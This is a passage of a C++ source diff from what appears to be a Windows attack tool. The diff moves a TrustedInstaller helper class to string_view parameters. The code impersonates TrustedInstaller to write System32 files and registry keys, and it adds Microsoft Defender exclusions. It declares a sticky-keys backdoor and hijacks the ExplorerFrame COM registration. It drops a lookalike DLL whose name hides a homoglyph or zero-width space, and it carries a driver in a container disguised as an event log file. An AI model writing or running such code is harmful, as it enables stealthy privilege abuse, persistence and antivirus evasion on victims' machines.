ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error);
ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error);
}
return success;
}
// Rename system32 library skci.dll with intentional letter swap typo
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
const std::wstring& dstPath) noexcept
// Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B)
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath,
std::wstring_view dstPath) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -498,32 +500,34 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring
return false;
}
std::wstring srcPathStr{srcPath};
std::wstring dstPathStr{dstPath};
// Clear attributes on source
DWORD attrs = GetFileAttributesW(srcPath.c_str());
DWORD attrs = GetFileAttributesW(srcPathStr.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
}
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str());
DWORD error = result ? ERROR_SUCCESS : GetLastError();
RevertToSelf();
if (!result) {
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error);
return false;
}
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str());
return true;
}
// ============================================================================
// REGISTRY OPERATIONS
// ============================================================================
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept
std::wstring_view subKey) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -538,9 +542,11 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
HKEY hKey;
DWORD dwDisposition;
std::wstring subKeyStr{subKey};
LONG result = RegCreateKeyExW(
hRootKey,
subKey.c_str(),
subKeyStr.c_str(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
@@ -552,9 +558,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
if (result == ERROR_SUCCESS) {
RegCloseKey(hKey);
SUCCESS(L"Registry key created: %s", subKey.c_str());
SUCCESS(L"Registry key created: %s", subKeyStr.c_str());
} else {
ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result);
ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result);
}
RevertToSelf();
@@ -562,9 +568,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
}
bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::wstring& value) noexcept
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring_view value) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -577,29 +583,31 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
return false;
}
std::wstring subKeyStr{subKey};
HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf();
return false;
}
std::wstring valueStr{value};
LONG result = RegSetValueExW(
hKey,
valueName.c_str(),
std::wstring{valueName}.c_str(),
0,
REG_EXPAND_SZ,
(const BYTE*)value.c_str(),
(DWORD)(value.length() + 1) * sizeof(wchar_t)
(const BYTE*)valueStr.c_str(),
(DWORD)((valueStr.length() + 1) * sizeof(wchar_t))
);
RegCloseKey(hKey);
RevertToSelf();
if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str());
SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
} else {
ERROR(L"Failed to write registry value (error: %d)", result);
}
@@ -608,9 +616,9 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
}
bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
DWORD value) noexcept
std::wstring_view subKey,
std::wstring_view valueName,
DWORD value) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -623,18 +631,19 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
return false;
}
std::wstring subKeyStr{subKey};
HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf();
return false;
}
LONG result = RegSetValueExW(
hKey,
valueName.c_str(),
std::wstring{valueName}.c_str(),
0,
REG_DWORD,
(const BYTE*)&value,
@@ -645,7 +654,7 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
RevertToSelf();
if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value);
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value);
} else {
ERROR(L"Failed to write registry DWORD (error: %d)", result);
}
@@ -654,9 +663,9 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
}
bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::vector<BYTE>& data) noexcept
std::wstring_view subKey,
std::wstring_view valueName,
std::span<const BYTE> data) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -669,18 +678,19 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
return false;
}
std::wstring subKeyStr{subKey};
HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf();
return false;
}
LONG result = RegSetValueExW(
hKey,
valueName.c_str(),
std::wstring{valueName}.c_str(),
0,
REG_BINARY,
data.data(),
@@ -691,7 +701,7 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
RevertToSelf();
if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKey.c_str(), valueName.c_str(), data.size());
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size());
} else {
ERROR(L"Failed to write registry binary (error: %d)", result);
}
@@ -700,9 +710,9 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
}
bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
std::wstring& outValue) noexcept
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring& outValue) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -715,18 +725,19 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
return false;
}
std::wstring subKeyStr{subKey};
HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey);
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf();
return false;
}
DWORD dataSize = 0;
DWORD dataType = 0;
LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize);
LONG queryResult = RegQueryValueExW(hKey, std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize);
if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
@@ -735,10 +746,10 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
return false;
}
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t));
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t) + 1);
LONG result = RegQueryValueExW(
hKey,
valueName.c_str(),
std::wstring{valueName}.c_str(),
NULL,
&dataType,
(LPBYTE)buffer.data(),
@@ -750,7 +761,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
if (result == ERROR_SUCCESS) {
outValue = std::wstring(buffer.data());
SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str());
SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
return true;
} else {
ERROR(L"Failed to read registry value (error: %d)", result);
@@ -759,7 +770,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
}
bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept
std::wstring_view subKey) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -772,14 +783,15 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
return false;
}
LONG result = RegDeleteTreeW(hRootKey, subKey.c_str());
std::wstring subKeyStr{subKey};
LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str());
RevertToSelf();
if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry key deleted: %s", subKey.c_str());
SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str());
} else {
ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result);
ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result);
}
return (result == ERROR_SUCCESS);
@@ -789,7 +801,7 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
// DEFENDER EXCLUSION MANAGEMENT
// ============================================================================
bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept
bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept
{
if (extension.empty()) return false;
const std::wstring invalidChars = L"\\/:*?\"<>|";
@@ -799,7 +811,7 @@ bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension
return true;
}
bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept
bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept
{
if (ipAddress.empty()) return false;
@@ -828,9 +840,9 @@ bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress
return (dots == 3 && hasDigit);
}
std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept
std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept
{
std::wstring normalized = extension;
std::wstring normalized{extension};
std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower);
if (!normalized.empty() && normalized[0] != L'.') {
@@ -840,23 +852,23 @@ std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring&
return normalized;
}
std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept
std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept
{
size_t lastSlash = fullPath.find_last_of(L"\\/");
if (lastSlash != std::wstring::npos) {
return fullPath.substr(lastSlash + 1);
if (lastSlash != std::wstring_view::npos) {
return std::wstring{fullPath.substr(lastSlash + 1)};
}
return fullPath;
return std::wstring{fullPath};
}
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value)
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value)
{
std::wstring processedValue = value;
std::wstring processedValue{value};
switch (type) {
case ExclusionType::Extensions:
if (!ValidateExtension(value)) {
ERROR(L"Invalid extension format: %s", value.c_str());
ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str());
return false;
}
processedValue = NormalizeExtension(value);
@@ -864,7 +876,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
case ExclusionType::IpAddresses:
if (!ValidateIpAddress(value)) {
ERROR(L"Invalid IP address format: %s", value.c_str());
ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str());
return false;
}
break;
@@ -900,9 +912,9 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
return result;
}
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value)
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value)
{
std::wstring processedValue = value;
std::wstring processedValue{value};
switch (type) {
case ExclusionType::Extensions:
@@ -931,47 +943,47 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
return RunAsTrustedInstallerSilent(command);
}
bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) {
bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) {
return AddDefenderExclusion(ExclusionType::Paths, path);
}
bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) {
bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path) {
return RemoveDefenderExclusion(ExclusionType::Paths, path);
}
bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) {
bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName) {
return AddDefenderExclusion(ExclusionType::Processes, processName);
}
bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) {
bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName) {
return RemoveDefenderExclusion(ExclusionType::Processes, processName);
}
bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) {
bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension) {
return AddDefenderExclusion(ExclusionType::Extensions, extension);
}
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) {
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension) {
return RemoveDefenderExclusion(ExclusionType::Extensions, extension);
}
bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) {
bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress) {
return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
}
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) {
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress) {
return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
}
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) {
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName) {
return AddProcessExclusion(processName);
}
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) {
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName) {
return RemoveProcessExclusion(processName);
}
bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath)
bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath)
{
wchar_t currentPath[MAX_PATH];
@@ -985,7 +997,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
ERROR(L"File path too long");
return false;
}
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
}
fs::path filePath(currentPath);
@@ -998,7 +1010,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
}
}
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath)
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath)
{
wchar_t currentPath[MAX_PATH];
@@ -1012,7 +1024,7 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring
ERROR(L"File path too long");
return false;
}
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
}
fs::path filePath(currentPath);
@@ -1163,7 +1175,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries()
// HELPER UTILITIES
// ============================================================================
DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
@@ -1174,7 +1186,7 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
if (std::wstring_view(pe.szExeFile) == processName) {
pid = pe.th32ProcessID;
break;
}
@@ -1185,15 +1197,13 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
return pid;
}
bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path)
bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path)
{
if (!path) return false;
size_t len = wcslen(path);
if (len < 4) return false;
return (_wcsicmp(path + len - 4, L".lnk") == 0);
if (path.length() < 4) return false;
return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0);
}
std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath)
{
IShellLinkW* pShellLink = nullptr;
IPersistFile* pPersistFile = nullptr;
@@ -1208,7 +1218,8 @@ std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
return L"";
}
hr = pPersistFile->Load(lnkPath, STGM_READ);
std::wstring lnkPathStr{lnkPath};
hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ);
if (FAILED(hr)) {
pPersistFile->Release();
pShellLink->Release();

View File

@@ -3,6 +3,8 @@
#include <windows.h>
#include <string>
#include <vector>
#include <string_view>
#include <span>
class TrustedInstallerIntegrator
{
@@ -22,55 +24,55 @@ public:
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
// File operations (NEW - direct write/delete with TrustedInstaller)
bool WriteFileAsTrustedInstaller(const std::wstring& filePath,
const std::vector<BYTE>& data) noexcept;
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
std::span<const BYTE> data) noexcept;
bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
const std::wstring& dstPath) noexcept;
bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
std::wstring_view dstPath) noexcept;
// Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
// Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
// Registry operations (NEW - direct registry access with TrustedInstaller)
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept;
std::wstring_view subKey) noexcept;
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::wstring& value) noexcept;
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring_view value) noexcept;
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
DWORD value) noexcept;
std::wstring_view subKey,
std::wstring_view valueName,
DWORD value) noexcept;
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
const std::vector<BYTE>& data) noexcept;
std::wstring_view subKey,
std::wstring_view valueName,
std::span<const BYTE> data) noexcept;
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey,
const std::wstring& valueName,
std::wstring& outValue) noexcept;
std::wstring_view subKey,
std::wstring_view valueName,
std::wstring& outValue) noexcept;
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept;
std::wstring_view subKey) noexcept;
// Defender exclusions
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
bool AddToDefenderExclusions(std::wstring_view customPath = L"");
bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
bool AddPathExclusion(const std::wstring& path);
bool RemovePathExclusion(const std::wstring& path);
bool AddProcessExclusion(const std::wstring& processName);
bool RemoveProcessExclusion(const std::wstring& processName);
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
bool AddPathExclusion(std::wstring_view path);
bool RemovePathExclusion(std::wstring_view path);
bool AddProcessExclusion(std::wstring_view processName);
bool RemoveProcessExclusion(std::wstring_view processName);
bool AddExtensionExclusion(std::wstring_view extension);
bool RemoveExtensionExclusion(std::wstring_view extension);
bool AddIpAddressExclusion(std::wstring_view ipAddress);
bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
bool AddProcessToDefenderExclusions(const std::wstring& processName);
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
bool AddProcessToDefenderExclusions(std::wstring_view processName);
bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
// Sticky keys backdoor
bool InstallStickyKeysBackdoor() noexcept;
@@ -91,17 +93,17 @@ private:
static const LPCWSTR ALL_PRIVILEGES[];
static const int PRIVILEGE_COUNT;
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName);
BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
BOOL ImpersonateSystem();
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
DWORD GetProcessIdByName(LPCWSTR processName);
bool IsLnkFile(LPCWSTR path);
std::wstring ResolveLnk(LPCWSTR lnkPath);
DWORD GetProcessIdByName(std::wstring_view processName);
bool IsLnkFile(std::wstring_view path);
std::wstring ResolveLnk(std::wstring_view lnkPath);
bool ValidateExtension(const std::wstring& extension) noexcept;
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept;
bool ValidateExtension(std::wstring_view extension) noexcept;
bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
};

View File

@@ -986,7 +986,7 @@ std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) n
return extractedFile;
}
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExpIorerFrame.dll)
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExplorerFrame\u200B.dll)
// Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console)
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys,
@@ -1044,7 +1044,7 @@ bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
return false;
}
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes",
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExplorerFrame\u200B.dll=%zu bytes",
outKvcSys.size(), outDll.size());
return true;
@@ -1094,7 +1094,7 @@ bool ExtractResourceComponents(int resourceId,
return false;
}
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes",
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExplorerFrame\u200B.dll: %zu bytes",
outKvcSys.size(), outDll.size());
return true;

View File

@@ -152,12 +152,12 @@ namespace Utils
// Decompress CAB archive from memory and extract kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
// Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll)
// Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
bool ExtractResourceComponents(int resourceId,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;

View File

@@ -17,14 +17,14 @@ bool WatermarkManager::RemoveWatermark() noexcept
{
INFO(L"[WATERMARK] Starting watermark removal process");
// Extract ExpIorerFrame.dll from resource
// Extract ExplorerFrame\u200B.dll from resource
std::vector<BYTE> dllData;
if (!ExtractWatermarkDLL(dllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false;
}
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size());
INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
// Get System32 path
std::wstring system32Path = GetSystem32Path();
@@ -33,7 +33,7 @@ bool WatermarkManager::RemoveWatermark() noexcept
return false;
}
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Write DLL using TrustedInstaller
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
@@ -85,7 +85,7 @@ bool WatermarkManager::RestoreWatermark() noexcept
// 3. Teraz usuń DLL (uchwyt został zwolniony)
std::wstring system32Path = GetSystem32Path();
if (!system32Path.empty()) {
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Dodaj krótkie opóźnienie dla pewności
Sleep(1000);
@@ -132,7 +132,7 @@ bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexce
return false;
}
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size());
DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
return !outDllData.empty();
}

View File

@@ -36,7 +36,7 @@ private:
static constexpr const wchar_t* CLSID_KEY =
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
static constexpr const wchar_t* HIJACKED_DLL =
L"%SystemRoot%\\system32\\ExpIorerFrame.dll";
L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
static constexpr const wchar_t* ORIGINAL_DLL =
L"%SystemRoot%\\system32\\ExplorerFrame.dll";